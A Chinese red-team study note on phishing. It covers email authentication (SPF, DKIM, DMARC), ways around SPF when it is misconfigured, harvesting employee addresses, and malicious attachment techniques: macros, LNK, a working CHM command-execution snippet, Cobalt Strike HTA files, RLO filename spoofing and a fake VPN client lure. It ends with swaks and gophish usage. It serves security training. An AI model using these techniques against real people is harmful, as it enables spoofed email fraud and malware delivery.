红蓝对抗钓鱼邮件学习笔记 2020-09-27 13:37:30 Steven Xeldax > 本篇为钓鱼邮件一些常见概念手段记录 ## 目录 - 基础知识 - SMTP - SPF - DKIM - DMARC - 邮件伪造 - SPF绕过 - SMB Relay攻击 - 员工邮箱 - 钓鱼话术 - 邮件鱼饵 - 钓鱼网站打点 - 文件媒介打点 - word - exe - inf - chm - hta - 压缩文件 - RLO - 钓鱼网站+文件安装组合拳 - 工具篇 - swaks - gophish ## 基础知识 ### SMTP SMTP 的全称是“Simple Mail Transfer Protocol”,即简单邮件传输协议。它是一组用于从源地址到目的地址传输邮件的规范,通过它来控制邮件的中转方式。 SMTP在1982年首次被定义在 RFC 821 ,在2008它被更新为扩展的SMTP协议,补充在文件 RFC 5321 ,扩展的协议是目前使用最广泛的协议。  一般SMTP传输步骤如下所示:  ``` S: MAIL FROM:<Smith@Alpha.ARPA> R: 250 OK S: RCPT TO:<Jones@Beta.ARPA> R: 250 OK S: RCPT TO:<Green@Beta.ARPA> R: 550 No such user here S: RCPT TO:<Brown@Beta.ARPA> R: 250 OK S: DATA R: 354 Start mail input; end with <CRLF>.<CRLF> S: Blah blah blah... S: ...etc. etc. etc. S: <CRLF>.<CRLF> R: 250 OK ``` 完整的SMTP命令有许多,在红队使用钓鱼邮件攻击中我们需要记住如下几个常见的: **EHLO(Extended hello)or HELO(hello)** 该命令用于说明自己是SMTP客户端身份,参数包含客户端的域名(domain) **VRFY(VERIFY)** 验证邮箱是否存在,如果参数是用户名,则返回一个全名 **EXPN(EXPAND)** 验证邮箱列表 **RCPT** 用于指定一个邮件接收者,参数中有TO关键字,指定多个接收者通过重复使用这个命令。 ### SPF SPF是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录,它用于登记某个域名拥有的用来发送邮件的所有IP地址。 通过 ``` nslookup -type=txt xxxx.com ``` 可以查看是否存在spf记录 ### DKIM DKIM是为了防止电子邮件欺诈的一种技术,同样依赖于DNS的TXT记录类型。这个技术需要将发件方公钥写入TXT记录,收件方收到邮件以后,通过查询发件方DNS记录找到公钥,来解密内容。 DKIM签名头字段参数 ``` DKIM-Signature: v=1; a=rsa-sha256; d=example.net; s=brisbane; c=simple; q=dns/txt; i=@eng.example.net; t=1117574938; x=1118006938; h=from:to:subject:date; z=From:foo@eng.example.net|To:joe@example.com|Subject:demo=20run|Date:July=205,=202005=203:44:08=20PM=20-0700; bh=MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTI=; b=dzdVyOfAKCdLXdJOc9G2q8LoXSlEniSbav+yuU4zGeeruD00lszZVoG4ZHRNiYzR ``` DKIM DNS TXT记录 ``` $ORIGIN _domainkey.example.org. brisbane IN TXT ("v=DKIM1; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQ" "KBgQDwIRP/UC3SBsEmGqZ9ZJW3/DkMoGeLnQg1fWn7/zYt" "IxN2SnFCjxOCKG9v3b4jYfcTNh5ijSsq631uBItLa7od+v" "/RtdC2UzJ1lWT947qR+Rcac2gbto/NMqJ0fzfVjH4OuKhi" "tdY9tf6mcwGjaNBcWToIMmPSPDdQPNUYckcQ2QIDAQAB") ``` ### DMARC DMARC是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,在邮件收发双方建立了邮件反馈机制,便于邮件发送方和邮件接收方共同对域名的管理进行完善和监督。DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记录,并明确声明对验证失败邮件的处理策略。邮件接收方接收邮件时,首先通过DNS获取DMARC记录,再对邮件来源进行SPF验证和DKIM验证,对验证失败的邮件根据DMARC记录进行处理,并将处理结果反馈给发送方。DMARC能够有效识别并拦截欺诈邮件和钓鱼邮件,保障用户个人信息安全。 ## 邮件伪造 ### SPF绕过 SPF的绕过只要是SPF设置的一些问题,如果设置SPF不存在问题,那么SPF就很难去绕过。 #### SPF解析不当导致绕过 > v=spf1 ip4:xxx.xxx.xx.0/24 ~all 在这个SPF记录中主要有两个问题,一个IP地址范围过大,我们可以在控制这些网段中的任意一台机器就可以对邮箱服务器进行发送邮件了。另外一个是软拒绝,也就是会接受来信,但可能被标记为垃圾邮件,所以邮件还是能被用户收到的。 #### SPF配置不当导致绕过 第一种情况: 域名增加了SPF记录,但是邮件服务器不支持SPF检查或邮件网关未开启SPF检测,无法验证邮件来源。这种情况下,我们声明了自己是谁,但却无法验证对方是谁,SPF检测无效,可伪造任意用户发送到你的域名邮箱里。 第二种情况: SPF解析在公网DNS,邮件服务器配置内部DNS,内部DNS无法进行SPF解析,从而导致绕过,可从公网伪造任意用户发送邮件。 第三种情况: 攻击者在公司内网,内网SMTP服务器开启匿名邮件发送或者在信任中继服务器IP段,就可以使用任意用户发送邮件。 比如,当 mynetworks = 192.168.0.0/16,在内网,任意一台终端就可以直连公司的SMTP服务器,伪造了一封来自admin@qq.com的邮件发给自己。 不管是解析还是配置问题我们都可以使用在线测试网站来测试一下 ``` https://www.kitterman.com/spf/validate.html ``` ### SMB Relay攻击 邮件中继(SMTP Relay Service)指在不改变用户邮件地址(发件人)的前提下,将用户邮件通过多链路SMTP邮件转发服务器投递到收件人邮件服务器。 SMB Relay攻击   其实就是邮件中转,我们可以使用一些公开的中转服务进行发送邮件(smtpgo啥的)。 ### 员工邮箱 一种是通过社工库或者开源邮箱收集和爆破获取本公司内部的邮箱,这种情况下钓鱼的成功率会大大上升。 另外一种是搜索开源的一些其他公司员工的邮箱,github上搜索一大把,可以尝试一下不同公司的邮件发送。  ## 邮件鱼饵 ### 钓鱼网站打点 一种思路是用set或者CobaltStrike模仿一个网站,然后注册一个相似域名看看能不能上钩。 另外一种思路是找一些在内网环境中的jsonp,xss,csrf漏洞直接盲打一把梭。 ### 文件媒介打点 #### word 各种宏的注入,DDE啥的但是我觉得在有红队基础的公司内部基本白给。 https://github.com/christophetd/spoofing-office-macro/blob/master/macro.vba #### exe exe要结合话术和免杀的技巧,怎么去骗人点这个exe才是关键。 补丁更新,公司客户端 或者超长空白把exe丢在很后面,但是你chrome下载下来的时候还是白给。  #### lnk https://github.com/Plazmaz/LNKUp > lnkup.py --host localhost --type environment --vars PATH USERNAME JAVA_HOME --output out.lnk > lnkup.py --host localhost --type ntlm --output out.lnk --execute "shutdown /s" ### chm CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用 HTML 作源文,把帮助内容以类似数据库的形式编译储存。 使用 EasyCHM 可以轻松的新建一个 chm 文件,首先新建一个文件夹,然后在文件夹中新建一个 html 文件,html 代码如下。 ``` <!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body> command exec <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=',calc.exe'> <PARAM name="Item2" value="273,1,1"> </OBJECT> <SCRIPT> x.Click(); </SCRIPT> </body></html> ``` 点击编译,即可编译出 chm 文件,双击该 chm 文件,即可执行命令,此处为打开计算器。  ### hta HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA 虽然用 HTML、JS 和 CSS 编写,却比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就能运行。 cobalt strike 的 attacks 模块有自动生成 hta 文件的功能。使用 Cobalt Strike 的Attacks->packages->HTML application生成 .hta 文件,可以选择通过 exe、powershell 或 VBA 进行执行。 #### 压缩文件  #### RLO 在windows下面,支持一种特殊的unicode字符RLO,一个字符串中如果有这个字符的话,那么在windows下显示时,就会把RLO右侧的字符串逆序显示出来。 例: 原始字符串:gpj.bat 在windows下显示为:tab.jpg  尝试发送了一下发现被block了  白给 ### 钓鱼网站 + 文件安装组合拳 可以制作一个深信服vpn登陆网页然后诱惑受害者去下载一个虚假的vpn客户端。还有就是flash下载什么的,这里给7师傅打个广告  ## 工具篇 ### swaks ``` -t –to 目标地址 -t test@test.com -f –from 来源地址 (发件人) -f "text<text@text.com>" -h –helo 邮件头(不明) –timeout 设置超时,单位是秒,默认30s –protocol 设定协议(未测试) -d –data 设定邮件内容,\n换行(可从其他邮件获得内容原文复制粘贴到这里) 一些常用内容: To:收件人\n From:发件人\n Subject:主题\n Date:日期\n Subject:标题\n –body 邮件内容,如果参数为-,则可以手动输入内容,直到按Ctrl+D结束输入后自动发送;或者使用 swaks --body - <文件名 将文件内容输入为邮件内容. –attach 包含附件(未测试) -ah –add-header 添加邮件头内容(不明) –header 邮件头内容(不明) --header "Subject:主题" 可设定邮件主题 -stl –show-time-lapse显示每个操作的时间间隔 -ha –hide-all 隐藏所有输出 -S –silent 自定义输出,参数如下: 1,直到发生错误才输出; 2,只输出错误; 3,不输出. –help 显示命令帮助 –verison 显示版本信息 输出内容的含义: “===”:swaks输出的信息行 “*“:swaks中产生的错误 ” ->”:发送到目标的预期行(无错误) “<- “:服务器的预期回复(无错误) “<**”:服务器返回的错误信息 <** 550 Mail content denied. http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=20022&&no=1000726 1 2 如果出现这个,就有可能是内容被QQ邮箱屏蔽了,或者ip被屏蔽了 ``` ### gophish > https://github.com/gophish/gophish ## 参考资料 https://o365info.com/how-to-simulate-spoof-e-mail-attack-and-bypass-spf-sender-verification-part2-of-2/ https://mp.weixin.qq.com/s/dqntjRLgcOD3D2bi1oDFAw、 https://edu.heibai.org/%E7%BA%A2%E9%98%9F%E8%A1%8C%E5%8A%A8%E4%B9%8B%E9%B1%BC%E5%8F%89%E6%94%BB%E5%87%BBSMTPRelay.pdf https://www.ershicimi.com/p/b285cac356f1ec130c56a3aef1ccab66